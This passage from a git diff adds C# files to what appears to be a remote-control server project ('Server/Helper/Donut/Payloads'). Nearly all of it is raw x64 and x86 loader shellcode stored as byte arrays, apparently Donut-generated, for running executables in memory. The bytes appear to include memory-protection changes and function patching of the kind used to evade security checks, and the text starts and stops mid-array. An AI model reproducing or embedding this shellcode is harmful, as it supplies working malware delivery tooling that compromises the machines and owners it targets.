0x6c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x83, + 0xc4, 0x20, 0x5f, 0xc3, 0x44, 0x8a, 0x01, 0x45, 0x84, 0xc0, 0x74, 0x1a, + 0x41, 0x8a, 0xc0, 0x48, 0x2b, 0xca, 0x44, 0x8a, 0xc0, 0x3a, 0x02, 0x75, + 0x0d, 0x48, 0xff, 0xc2, 0x8a, 0x04, 0x11, 0x44, 0x8a, 0xc0, 0x84, 0xc0, + 0x75, 0xec, 0x0f, 0xb6, 0x0a, 0x41, 0x0f, 0xb6, 0xc0, 0x2b, 0xc1, 0xc3, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, + 0x74, 0x24, 0x18, 0x57, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x30, + 0x33, 0xff, 0x33, 0xed, 0x45, 0x33, 0xf6, 0x48, 0x8b, 0xf2, 0x4c, 0x8b, + 0xf9, 0x42, 0x8a, 0x54, 0x3d, 0x00, 0x84, 0xd2, 0x74, 0x11, 0x83, 0xfd, + 0x40, 0x74, 0x0c, 0x8b, 0xc7, 0xff, 0xc7, 0xff, 0xc5, 0x88, 0x54, 0x04, + 0x20, 0xeb, 0x56, 0x8b, 0xc7, 0x48, 0x8d, 0x5c, 0x24, 0x20, 0x48, 0x03, + 0xd8, 0x41, 0xb8, 0x10, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x44, 0x2b, + 0xc7, 0x33, 0xd2, 0xe8, 0x3c, 0x02, 0x00, 0x00, 0xc6, 0x03, 0x80, 0x83, + 0xff, 0x0c, 0x72, 0x20, 0x48, 0x8b, 0xd6, 0x48, 0x8d, 0x4c, 0x24, 0x20, + 0xe8, 0x63, 0x00, 0x00, 0x00, 0x33, 0xd2, 0x48, 0x8d, 0x4c, 0x24, 0x20, + 0x48, 0x33, 0xf0, 0x44, 0x8d, 0x42, 0x10, 0xe8, 0x14, 0x02, 0x00, 0x00, + 0x8b, 0xc5, 0xbf, 0x10, 0x00, 0x00, 0x00, 0xc1, 0xe0, 0x03, 0x89, 0x44, + 0x24, 0x2c, 0x41, 0xff, 0xc6, 0x83, 0xff, 0x10, 0x75, 0x12, 0x48, 0x8b, + 0xd6, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0xe8, 0x2d, 0x00, 0x00, 0x00, 0x48, + 0x33, 0xf0, 0x33, 0xff, 0x45, 0x85, 0xf6, 0x0f, 0x84, 0x70, 0xff, 0xff, + 0xff, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x8b, 0xc6, 0x48, 0x8b, 0x74, + 0x24, 0x60, 0x48, 0x8b, 0x6c, 0x24, 0x58, 0x48, 0x83, 0xc4, 0x30, 0x41, + 0x5f, 0x41, 0x5e, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x53, + 0x48, 0x83, 0xec, 0x10, 0x0f, 0x10, 0x01, 0x48, 0x89, 0x50, 0x10, 0x8b, + 0xca, 0x44, 0x8b, 0x40, 0x14, 0x45, 0x33, 0xd2, 0x0f, 0x11, 0x04, 0x24, + 0x8b, 0x50, 0xf4, 0x44, 0x8b, 0x58, 0xf0, 0x8b, 0x58, 0xec, 0x44, 0x8b, + 0x0c, 0x24, 0x8b, 0xc2, 0xc1, 0xc9, 0x08, 0x41, 0x03, 0xc8, 0x8b, 0xd3, + 0x41, 0x33, 0xc9, 0xc1, 0xca, 0x08, 0x41, 0x03, 0xd1, 0x41, 0xc1, 0xc0, + 0x03, 0x41, 0x33, 0xd2, 0x41, 0xc1, 0xc1, 0x03, 0x44, 0x33, 0xca, 0x44, + 0x33, 0xc1, 0x41, 0xff, 0xc2, 0x41, 0x8b, 0xdb, 0x44, 0x8b, 0xd8, 0x41, + 0x83, 0xfa, 0x1b, 0x72, 0xcd, 0x89, 0x4c, 0x24, 0x28, 0x44, 0x89, 0x44, + 0x24, 0x2c, 0x48, 0x8b, 0x44, 0x24, 0x28, 0x48, 0x83, 0xc4, 0x10, 0x5b, + 0xc3, 0xcc, 0xcc, 0xcc, 0x4d, 0x85, 0xc9, 0x0f, 0x84, 0x25, 0x01, 0x00, + 0x00, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x48, + 0x89, 0x7c, 0x24, 0x18, 0x55, 0x41, 0x55, 0x41, 0x56, 0x48, 0x8b, 0xec, + 0x48, 0x83, 0xec, 0x10, 0x4c, 0x8b, 0xd1, 0x48, 0x8d, 0x45, 0xf0, 0x4c, + 0x2b, 0xd0, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x48, 0x2b, 0xf2, 0x4d, 0x8b, + 0xd8, 0x48, 0x8b, 0xfa, 0x41, 0xbd, 0x10, 0x00, 0x00, 0x00, 0x0f, 0x10, + 0x07, 0x48, 0x8d, 0x4d, 0xf0, 0xba, 0x04, 0x00, 0x00, 0x00, 0xf3, 0x0f, + 0x7f, 0x45, 0xf0, 0x41, 0x8b, 0x04, 0x0a, 0x31, 0x01, 0x48, 0x8d, 0x49, + 0x04, 0x48, 0x83, 0xea, 0x01, 0x75, 0xf0, 0x8b, 0x55, 0xfc, 0x49, 0x8b, + 0xdd, 0x8b, 0x45, 0xf8, 0x44, 0x8b, 0x45, 0xf4, 0x8b, 0x4d, 0xf0, 0x41, + 0x03, 0xc8, 0x03, 0xc2, 0x41, 0xc1, 0xc0, 0x05, 0x44, 0x33, 0xc1, 0xc1, + 0xc2, 0x08, 0x33, 0xd0, 0xc1, 0xc1, 0x10, 0x41, 0x03, 0xc0, 0x03, 0xca, + 0x41, 0xc1, 0xc0, 0x07, 0xc1, 0xc2, 0x0d, 0x44, 0x33, 0xc0, 0x33, 0xd1, + 0xc1, 0xc0, 0x10, 0x48, 0x83, 0xeb, 0x01, 0x75, 0xd2, 0x89, 0x55, 0xfc, + 0x8d, 0x53, 0x04, 0x89, 0x4d, 0xf0, 0x48, 0x8d, 0x4d, 0xf0, 0x44, 0x89, + 0x45, 0xf4, 0x89, 0x45, 0xf8, 0x42, 0x8b, 0x04, 0x11, 0x31, 0x01, 0x48, + 0x8d, 0x49, 0x04, 0x48, 0x83, 0xea, 0x01, 0x75, 0xf0, 0x4d, 0x3b, 0xcd, + 0x41, 0x8b, 0xc1, 0x41, 0x0f, 0x47, 0xc5, 0x48, 0x63, 0xd0, 0x85, 0xc0, + 0x7e, 0x1c, 0x4c, 0x8d, 0x45, 0xf0, 0x49, 0x8b, 0xcb, 0x4d, 0x2b, 0xc3, + 0x48, 0x8b, 0xda, 0x41, 0x8a, 0x04, 0x08, 0x30, 0x01, 0x48, 0xff, 0xc1, + 0x48, 0x83, 0xeb, 0x01, 0x75, 0xf1, 0x4c, 0x2b, 0xca, 0x48, 0x8d, 0x4f, + 0x0f, 0x4c, 0x03, 0xda, 0x80, 0x01, 0x01, 0x75, 0x0c, 0x48, 0xff, 0xc9, + 0x48, 0x8d, 0x04, 0x0e, 0x48, 0x85, 0xc0, 0x7f, 0xef, 0x4d, 0x85, 0xc9, + 0x0f, 0x85, 0x2c, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, + 0x8b, 0x74, 0x24, 0x38, 0x48, 0x8b, 0x7c, 0x24, 0x40, 0x48, 0x83, 0xc4, + 0x10, 0x41, 0x5e, 0x41, 0x5d, 0x5d, 0xc3, 0xcc, 0x4c, 0x8b, 0xc9, 0x4d, + 0x85, 0xc0, 0x74, 0x13, 0x48, 0x2b, 0xd1, 0x42, 0x8a, 0x04, 0x0a, 0x41, + 0x88, 0x01, 0x49, 0xff, 0xc1, 0x49, 0x83, 0xe8, 0x01, 0x75, 0xf0, 0x48, + 0x8b, 0xc1, 0xc3, 0xcc, 0x48, 0x89, 0x7c, 0x24, 0x08, 0x4c, 0x8b, 0xc9, + 0x48, 0x8b, 0xf9, 0x8a, 0xc2, 0x49, 0x8b, 0xc8, 0xf3, 0xaa, 0x48, 0x8b, + 0x7c, 0x24, 0x08, 0x49, 0x8b, 0xc1, 0xc3}; + } +} diff --git a/Server/Helper/Donut/Payloads/payload_exe_x86.cs b/Server/Helper/Donut/Payloads/payload_exe_x86.cs new file mode 100644 index 0000000..9be44f9 --- /dev/null +++ b/Server/Helper/Donut/Payloads/payload_exe_x86.cs @@ -0,0 +1,677 @@ +namespace Server.Helper.Donut.Payloads +{ + public class payload_exe_x86 + { + public static readonly byte[] PAYLOAD_EXE_X86 = { + 0x83, 0xec, 0x20, 0x53, 0x55, 0x56, 0x57, 0x8b, 0x7c, 0x24, 0x34, 0xff, + 0x77, 0x2c, 0xff, 0x77, 0x28, 0xff, 0x77, 0x4c, 0xff, 0x77, 0x48, 0x57, + 0xe8, 0x72, 0x1c, 0x00, 0x00, 0xff, 0x77, 0x2c, 0x8b, 0xf0, 0xff, 0x77, + 0x28, 0xff, 0x77, 0x54, 0xff, 0x77, 0x50, 0x57, 0xe8, 0x5e, 0x1c, 0x00, + 0x00, 0x83, 0xc4, 0x28, 0x8b, 0xd8, 0x89, 0x5c, 0x24, 0x34, 0x85, 0xf6, + 0x0f, 0x84, 0x15, 0x02, 0x00, 0x00, 0x85, 0xdb, 0x0f, 0x84, 0x0d, 0x02, + 0x00, 0x00, 0x6a, 0x04, 0x68, 0x00, 0x30, 0x00, 0x00, 0xff, 0x37, 0x6a, + 0x00, 0xff, 0xd6, 0x8b, 0xf0, 0x85, 0xf6, 0x0f, 0x84, 0xf6, 0x01, 0x00, + 0x00, 0xff, 0x37, 0x57, 0x56, 0xe8, 0xb8, 0x1e, 0x00, 0x00, 0x6a, 0x20, + 0x8d, 0x44, 0x24, 0x20, 0x6a, 0x00, 0x50, 0xe8, 0xce, 0x1e, 0x00, 0x00, + 0x8b, 0x06, 0x8d, 0xae, 0x30, 0x02, 0x00, 0x00, 0x2d, 0x30, 0x02, 0x00, + 0x00, 0x50, 0x55, 0x8d, 0x46, 0x14, 0x50, 0x8d, 0x46, 0x04, 0x50, 0xe8, + 0x8d, 0x1d, 0x00, 0x00, 0xff, 0x76, 0x2c, 0x8d, 0x86, 0x28, 0x06, 0x00, + 0x00, 0xff, 0x76, 0x28, 0x50, 0xe8, 0x56, 0x1c, 0x00, 0x00, 0x83, 0xc4, + 0x34, 0x3b, 0x86, 0x28, 0x07, 0x00, 0x00, 0x0f, 0x85, 0x4f, 0x01, 0x00, + 0x00, 0x3b, 0x96, 0x2c, 0x07, 0x00, 0x00, 0x0f, 0x85, 0x43, 0x01, 0x00, + 0x00, 0xff, 0x76, 0x2c, 0xff, 0x76, 0x28, 0xff, 0x76, 0x34, 0xff, 0x76, + 0x30, 0x56, 0xe8, 0xbc, 0x1b, 0x00, 0x00, 0x83, 0xc4, 0x14, 0x89, 0x46, + 0x30, 0x85, 0xc0, 0x0f, 0x84, 0x76, 0x01, 0x00, 0x00, 0x33, 0xff, 0x39, + 0xbe, 0x34, 0x02, 0x00, 0x00, 0x76, 0x16, 0x8d, 0x9e, 0x38, 0x02, 0x00, + 0x00, 0x53, 0xff, 0x56, 0x30, 0x47, 0x83, 0xc3, 0x20, 0x3b, 0xbe, 0x34, + 0x02, 0x00, 0x00, 0x72, 0xf0, 0x33, 0xdb, 0x43, 0x39, 0x5d, 0x00, 0x76, + 0x34, 0x8d, 0x6e, 0x34, 0x8d, 0x7e, 0x38, 0xff, 0x76, 0x2c, 0xff, 0x76, + 0x28, 0xff, 0x77, 0x04, 0xff, 0x37, 0x56, 0xe8, 0x6f, 0x1b, 0x00, 0x00, + 0x83, 0xc4, 0x14, 0x89, 0x45, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0xd2, 0x00, + 0x00, 0x00, 0x43, 0x83, 0xc7, 0x08, 0x83, 0xc5, 0x04, 0x3b, 0x9e, 0x30, + 0x02, 0x00, 0x00, 0x72, 0xd2, 0x8b, 0x86, 0x1c, 0x05, 0x00, 0x00, 0x6a, + 0x02, 0x5b, 0x3b, 0xc3, 0x75, 0x15, 0x56, 0xe8, 0x22, 0x06, 0x00, 0x00, + 0x59, 0x85, 0xc0, 0x0f, 0x84, 0xa7, 0x00, 0x00, 0x00, 0x8b, 0x86, 0x1c, + 0x05, 0x00, 0x00, 0x8d, 0xbe, 0x58, 0x07, 0x00, 0x00, 0x83, 0xf8, 0x01, + 0x74, 0x02, 0x8b, 0x3f, 0x83, 0xbe, 0x40, 0x03, 0x00, 0x00, 0x01, 0x74, + 0x26, 0x56, 0xe8, 0x2b, 0x04, 0x00, 0x00, 0x59, 0x85, 0xc0, 0x75, 0x08, + 0x39, 0x9e, 0x40, 0x03, 0x00, 0x00, 0x74, 0x78, 0x56, 0xe8, 0xfe, 0x04, + 0x00, 0x00, 0x59, 0x85, 0xc0, 0x75, 0x08, 0x39, 0x9e, 0x40, 0x03, 0x00, + 0x00, 0x74, 0x65, 0x83, 0x3f, 0x03, 0x74, 0x59, 0x83, 0x3f, 0x04, 0x74, + 0x54, 0x83, 0x3f, 0x01, 0x74, 0x23, 0x39, 0x1f, 0x74, 0x1f, 0x83, 0x3f, + 0x05, 0x74, 0x12, 0x83, 0x3f, 0x06, 0x74, 0x0d, 0x83, 0x3f, 0x07, 0x75, + 0x43, 0x56, 0xe8, 0x86, 0x19, 0x00, 0x00, 0xeb, 0x3a, 0x56, 0xe8, 0xdb, + 0x17, 0x00, 0x00, 0xeb, 0x32, 0x8d, 0x44, 0x24, 0x10, 0x50, 0x56, 0xe8, + 0xc7, 0x0d, 0x00, 0x00, 0x59, 0x59, 0x85, 0xc0, 0x74, 0x0d, 0x8d, 0x44, + 0x24, 0x10, 0x50, 0x56, 0xe8, 0xc1, 0x0f, 0x00, 0x00, 0x59, 0x59, 0x8d, + 0x44, 0x24, 0x10, 0x50, 0x56, 0xe8, 0x45, 0x09, 0x00, 0x00, 0x59, 0xeb, + 0x06, 0x56, 0xe8, 0x71, 0x12, 0x00, 0x00, 0x59, 0x8b, 0x5c, 0x24, 0x34, + 0x83, 0xbe, 0x1c, 0x05, 0x00, 0x00, 0x02, 0xbf, 0x00, 0xc0, 0x00, 0x00, + 0x75, 0x2e, 0x8b, 0x86, 0x58, 0x07, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x24, + 0xff, 0xb6, 0x50, 0x07, 0x00, 0x00, 0x6a, 0x00, 0x50, 0xe8, 0x1c, 0x1d, + 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x57, 0x6a, 0x00, 0xff, 0xb6, 0x58, 0x07, + 0x00, 0x00, 0xff, 0x56, 0x40, 0x83, 0xa6, 0x58, 0x07, 0x00, 0x00, 0x00, + 0xff, 0x36, 0x6a, 0x00, 0x56, 0xe8, 0xfc, 0x1c, 0x00, 0x00, 0x83, 0xc4, + 0x0c, 0x57, 0x6a, 0x00, 0x56, 0xff, 0xd3, 0x33, 0xc0, 0xeb, 0x03, 0x83, + 0xc8, 0xff, 0x5f, 0x5e, 0x5d, 0x5b, 0x83, 0xc4, 0x20, 0xc3, 0x8b, 0x44, + 0x24, 0x04, 0x83, 0xc0, 0x04, 0xf0, 0xff, 0x00, 0x8b, 0x00, 0xc2, 0x04, + 0x00, 0xb8, 0x01, 0x40, 0x00, 0x80, 0xc2, 0x08, 0x00, 0x56, 0x57, 0xe8, + 0x05, 0x1a, 0x00, 0x00, 0x8b, 0x74, 0x24, 0x10, 0xb9, 0xf0, 0x12, 0x40, + 0x00, 0xbf, 0x85, 0x2c, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, + 0x89, 0x08, 0xe8, 0xea, 0x19, 0x00, 0x00, 0xb9, 0x62, 0x12, 0x40, 0x00, + 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x04, 0xe8, 0xd7, 0x19, + 0x00, 0x00, 0xb9, 0x4f, 0x13, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, + 0x06, 0x89, 0x48, 0x08, 0xe8, 0xc4, 0x19, 0x00, 0x00, 0xb9, 0x71, 0x12, + 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x0c, 0xe8, + 0xb1, 0x19, 0x00, 0x00, 0xb9, 0x71, 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03, + 0xc8, 0x8b, 0x06, 0x5f, 0x89, 0x48, 0x10, 0x8b, 0x44, 0x24, 0x08, 0x83, + 0x66, 0x04, 0x00, 0x89, 0x46, 0x08, 0x5e, 0xc3, 0x8b, 0x4c, 0x24, 0x0c, + 0x85, 0xc9, 0x75, 0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb, 0x4d, 0x53, + 0x8b, 0x5c, 0x24, 0x0c, 0x33, 0xd2, 0x56, 0x8b, 0x74, 0x24, 0x0c, 0x57, + 0x8b, 0x7e, 0x08, 0x8b, 0x84, 0x97, 0xfc, 0x03, 0x00, 0x00, 0x3b, 0x04, + 0x93, 0x75, 0x08, 0x42, 0x83, 0xfa, 0x04, 0x75, 0xee, 0xeb, 0x14, 0x33, + 0xd2, 0x8b, 0x84, 0x97, 0xbc, 0x04, 0x00, 0x00, 0x3b, 0x04, 0x93, 0x75, + 0x10, 0x42, 0x83, 0xfa, 0x04, 0x75, 0xee, 0x89, 0x31, 0xf0, 0xff, 0x46, + 0x04, 0x33, 0xc0, 0xeb, 0x08, 0x83, 0x21, 0x00, 0xb8, 0x02, 0x40, 0x00, + 0x80, 0x5f, 0x5e, 0x5b, 0xc2, 0x0c, 0x00, 0x8b, 0x4c, 0x24, 0x04, 0x83, + 0xc8, 0xff, 0xf0, 0x0f, 0xc1, 0x41, 0x04, 0x48, 0xc2, 0x04, 0x00, 0x33, + 0xc0, 0xc2, 0x08, 0x00, 0x55, 0x8b, 0xec, 0xf6, 0x45, 0x10, 0x02, 0x56, + 0x8b, 0x75, 0x08, 0x57, 0x74, 0x15, 0x8b, 0x7d, 0x18, 0x85, 0xff, 0x74, + 0x1b, 0x8b, 0x46, 0x1c, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x04, 0x8b, 0x46, + 0x1c, 0x89, 0x07, 0xf6, 0x45, 0x10, 0x01, 0x74, 0x19, 0x8b, 0x7d, 0x14, + 0x85, 0xff, 0x75, 0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb, 0x0d, 0x83, + 0xc6, 0x14, 0x56, 0x8b, 0x06, 0xff, 0x50, 0x04, 0x89, 0x37, 0x33, 0xc0, + 0x5f, 0x5e, 0x5d, 0xc2, 0x14, 0x00, 0x8b, 0x44, 0x24, 0x04, 0x8b, 0x40, + 0x2c, 0xff, 0x50, 0x54, 0x8b, 0x4c, 0x24, 0x08, 0x89, 0x01, 0x33, 0xc0, + 0xc2, 0x08, 0x00, 0x56, 0x57, 0xe8, 0xbb, 0x18, 0x00, 0x00, 0x8b, 0x74, + 0x24, 0x10, 0xb9, 0x01, 0x15, 0x40, 0x00, 0xbf, 0x85, 0x2c, 0x40, 0x00, + 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x08, 0xe8, 0xa0, 0x18, 0x00, + 0x00, 0xb9, 0x62, 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, + 0x89, 0x48, 0x04, 0xe8, 0x8d, 0x18, 0x00, 0x00, 0xb9, 0x4f, 0x13, 0x40, + 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x08, 0xe8, 0x7a, + 0x18, 0x00, 0x00, 0xb9, 0xae, 0x13, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, + 0x8b, 0x06, 0x89, 0x48, 0x0c, 0xe8, 0x67, 0x18, 0x00, 0x00, 0xb9, 0x64, + 0x13, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x10, + 0xe8, 0x54, 0x18, 0x00, 0x00, 0xb9, 0x5f, 0x13, 0x40, 0x00, 0x2b, 0xcf, + 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x14, 0xe8, 0x41, 0x18, 0x00, 0x00, + 0xb9, 0xfc, 0x14, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, + 0x48, 0x18, 0xe8, 0x2e, 0x18, 0x00, 0x00, 0xb9, 0x5f, 0x13, 0x40, 0x00, + 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x1c, 0xe8, 0x1b, 0x18, + 0x00, 0x00, 0xb9, 0xb1, 0x14, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, + 0x06, 0x89, 0x48, 0x20, 0xe8, 0x08, 0x18, 0x00, 0x00, 0xb9, 0xac, 0x14, + 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x24, 0xe8, + 0xf5, 0x17, 0x00, 0x00, 0xb9, 0xac, 0x14, 0x40, 0x00, 0x2b, 0xcf, 0x03, + 0xc8, 0x8b, 0x06, 0x5f, 0x89, 0x48, 0x28, 0x8b, 0x44, 0x24, 0x08, 0x83, + 0x66, 0x04, 0x00, 0x89, 0x46, 0x2c, 0x5e, 0xc3, 0x33, 0xc0, 0xc2, 0x04, + 0x00, 0x55, 0x8b, 0xec, 0x83, 0xec, 0x2c, 0x33, 0xc0, 0x56, 0x6a, 0x20, + 0x50, 0x89, 0x45, 0xf4, 0x89, 0x45, 0xf8, 0x89, 0x45, 0xfc, 0x8d, 0x45, + 0xd4, 0x50, 0xe8, 0x77, 0x1a, 0x00, 0x00, 0x8b, 0x75, 0x0c, 0x8d, 0x4d, + 0xd4, 0x83, 0xc4, 0x0c, 0x8b, 0x06, 0x51, 0x56, 0xff, 0x50, 0x0c, 0x85, + 0xc0, 0x75, 0x12, 0x8b, 0x06, 0x8d, 0x4d, 0xfc, 0x51, 0x8d, 0x4d, 0xf8, + 0x51, 0x8d, 0x4d, 0xf4, 0x51, 0x56, 0xff, 0x50, 0x10, 0x33, 0xc0, 0x5e, + 0xc9, 0xc2, 0x08, 0x00, 0x33, 0xc0, 0xc2, 0x0c, 0x00, 0x8b, 0x4c, 0x24, + 0x0c, 0x85, 0xc9, 0x75, 0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb, 0x68, + 0x53, 0x8b, 0x5c, 0x24, 0x0c, 0x33, 0xd2, 0x56, 0x8b, 0x74, 0x24, 0x0c, + 0x57, 0x8b, 0x7e, 0x2c, 0x8b, 0x84, 0x97, 0xfc, 0x03, 0x00, 0x00, 0x3b, + 0x04, 0x93, 0x75, 0x08, 0x42, 0x83, 0xfa, 0x04, 0x75, 0xee, 0xeb, 0x14, + 0x33, 0xd2, 0x8b, 0x84, 0x97, 0xac, 0x04, 0x00, 0x00, 0x3b, 0x04, 0x93, + 0x75, 0x0e, 0x42, 0x83, 0xfa, 0x04, 0x75, 0xee, 0x89, 0x31, 0xf0, 0xff, + 0x46, 0x04, 0xeb, 0x19, 0x33, 0xd2, 0x8b, 0x84, 0x97, 0xbc, 0x04, 0x00, + 0x00, 0x3b, 0x04, 0x93, 0x75, 0x0f, 0x42, 0x83, 0xfa, 0x04, 0x75, 0xee, + 0x8d, 0x46, 0x08, 0x89, 0x01, 0x33, 0xc0, 0xeb, 0x08, 0x83, 0x21, 0x00, + 0xb8, 0x02, 0x40, 0x00, 0x80, 0x5f, 0x5e, 0x5b, 0xc2, 0x0c, 0x00, 0x8b, + 0x44, 0x24, 0x18, 0x83, 0x20, 0x00, 0x33, 0xc0, 0xc2, 0x18, 0x00, 0x8b, + 0x44, 0x24, 0x04, 0x0f, 0xaf, 0x44, 0x24, 0x08, 0xc3, 0x8b, 0x44, 0x24, + 0x14, 0x83, 0x20, 0x00, 0x33, 0xc0, 0xc2, 0x14, 0x00, 0x8b, 0x44, 0x24, + 0x04, 0x03, 0x44, 0x24, 0x08, 0xc3, 0x51, 0x53, 0x56, 0x8b, 0x74, 0x24, + 0x10, 0x8d, 0x86, 0x38, 0x03, 0x00, 0x00, 0x50, 0xff, 0x56, 0x30, 0x8b, + 0xd8, 0x85, 0xdb, 0x75, 0x06, 0x40, 0xe9, 0xc5, 0x00, 0x00, 0x00, 0x55, + 0x57, 0x8d, 0x86, 0xac, 0x03, 0x00, 0x00, 0x50, 0x53, 0xff, 0x56, 0x34, + 0x8b, 0xe8, 0x85, 0xed, 0x0f, 0x84, 0xaa, 0x00, 0x00, 0x00, 0xbf, 0x87, + 0x15, 0x40, 0x00, 0x81, 0xef, 0x7b, 0x15, 0x40, 0x00, 0x0f, 0x88, 0x99, + 0x00, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x18, 0x50, 0x6a, 0x40, 0x57, 0x55, + 0xff, 0x56, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x85, 0x00, 0x00, 0x00, 0x57, + 0xe8, 0x80, 0x16, 0x00, 0x00, 0xb9, 0x7b, 0x15, 0x40, 0x00, 0x81, 0xe9, + 0x85, 0x2c, 0x40, 0x00, 0x03, 0xc1, 0x50, 0x55, 0xe8, 0x09, 0x19, 0x00, + 0x00, 0x83, 0xc4, 0x0c, 0x8d, 0x44, 0x24, 0x10, 0x50, 0xff, 0x74, 0x24, + 0x1c, 0x57, 0x55, 0xff, 0x56, 0x48, 0x8d, 0x86, 0xbc, 0x03, 0x00, 0x00, + 0x50, 0x53, 0xff, 0x56, 0x34, 0x8b, 0xe8, 0x85, 0xed, 0x74, 0x49, 0xbf, + 0x9d, 0x15, 0x40, 0x00, 0xbb, 0x91, 0x15, 0x40, 0x00, 0x2b, 0xfb, 0x78, + 0x3b, 0x8d, 0x44, 0x24, 0x18, 0x50, 0x6a, 0x40, 0x57, 0x55, 0xff, 0x56, + 0x48, 0x85, 0xc0, 0x74, 0x2b, 0x57, 0xe8, 0x26, 0x16, 0x00, 0x00, 0x81, + 0xeb, 0x85, 0x2c, 0x40, 0x00, 0x03, 0xc3, 0x50, 0x55, 0xe8, 0xb4, 0x18, + 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x8d, 0x44, 0x24, 0x10, 0x50, 0xff, 0x74, + 0x24, 0x1c, 0x57, 0x55, 0xff, 0x56, 0x48, 0x33, 0xc0, 0x40, 0xeb, 0x02, + 0x33, 0xc0, 0x5f, 0x5d, 0x5e, 0x5b, 0x59, 0xc3, 0x51, 0x53, 0x56, 0x8b, + 0x74, 0x24, 0x10, 0x8d, 0x86, 0x4c, 0x03, 0x00, 0x00, 0x50, 0xff, 0x56, + 0x30, 0x8b, 0xd8, 0x85, 0xdb, 0x75, 0x06, 0x40, 0xe9, 0xc5, 0x00, 0x00, + 0x00, 0x55, 0x57, 0x8d, 0x86, 0x5c, 0x03, 0x00, 0x00, 0x50, 0x53, 0xff, + 0x56, 0x34, 0x8b, 0xe8, 0x85, 0xed, 0x0f, 0x84, 0xaa, 0x00, 0x00, 0x00, + 0xbf, 0x7b, 0x2c, 0x40, 0x00, 0x81, 0xef, 0xfc, 0x14, 0x40, 0x00, 0x0f, + 0x88, 0x99, 0x00, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x18, 0x50, 0x6a, 0x40, + 0x57, 0x55, 0xff, 0x56, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x85, 0x00, 0x00, + 0x00, 0x57, 0xe8, 0x9a, 0x15, 0x00, 0x00, 0xb9, 0xfc, 0x14, 0x40, 0x00, + 0x81, 0xe9, 0x85, 0x2c, 0x40, 0x00, 0x03, 0xc1, 0x50, 0x55, 0xe8, 0x23, + 0x18, 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x8d, 0x44, 0x24, 0x10, 0x50, 0xff, + 0x74, 0x24, 0x1c, 0x57, 0x55, 0xff, 0x56, 0x48, 0x8d, 0x86, 0x7c, 0x03, + 0x00, 0x00, 0x50, 0x53, 0xff, 0x56, 0x34, 0x8b, 0xe8, 0x85, 0xed, 0x74, + 0x49, 0xbf, 0x72, 0x2c, 0x40, 0x00, 0xbb, 0x63, 0x2c, 0x40, 0x00, 0x2b, + 0xfb, 0x78, 0x3b, 0x8d, 0x44, 0x24, 0x18, 0x50, 0x6a, 0x40, 0x57, 0x55, + 0xff, 0x56, 0x48, 0x85, 0xc0, 0x74, 0x2b, 0x57, 0xe8, 0x40, 0x15, 0x00, + 0x00, 0x81, 0xeb, 0x85, 0x2c, 0x40, 0x00, 0x03, 0xc3, 0x50, 0x55, 0xe8, + 0xce, 0x17, 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x8d, 0x44, 0x24, 0x10, 0x50, + 0xff, 0x74, 0x24, 0x1c, 0x57, 0x55, 0xff, 0x56, 0x48, 0x33, 0xc0, 0x40, + 0xeb, 0x02, 0x33, 0xc0, 0x5f, 0x5d, 0x5e, 0x5b, 0x59, 0xc3, 0x81, 0xec, + 0x58, 0x02, 0x00, 0x00, 0x53, 0x56, 0x57, 0x6a, 0x3c, 0x5f, 0x33, 0xf6, + 0x8d, 0x44, 0x24, 0x28, 0x57, 0x56, 0x50, 0x89, 0x74, 0x24, 0x1c, 0xbb, + 0x00, 0x02, 0x60, 0x84, 0xe8, 0xb1, 0x17, 0x00, 0x00, 0x8d, 0x44, 0x24, + 0x70, 0x89, 0x7c, 0x24, 0x34, 0x8b, 0xbc, 0x24, 0x74, 0x02, 0x00, 0x00, + 0x83, 0xc4, 0x0c, 0x89, 0x44, 0x24, 0x38, 0x8d, 0x84, 0x24, 0x64, 0x01, + 0x00, 0x00, 0x89, 0x44, 0x24, 0x54, 0xb8, 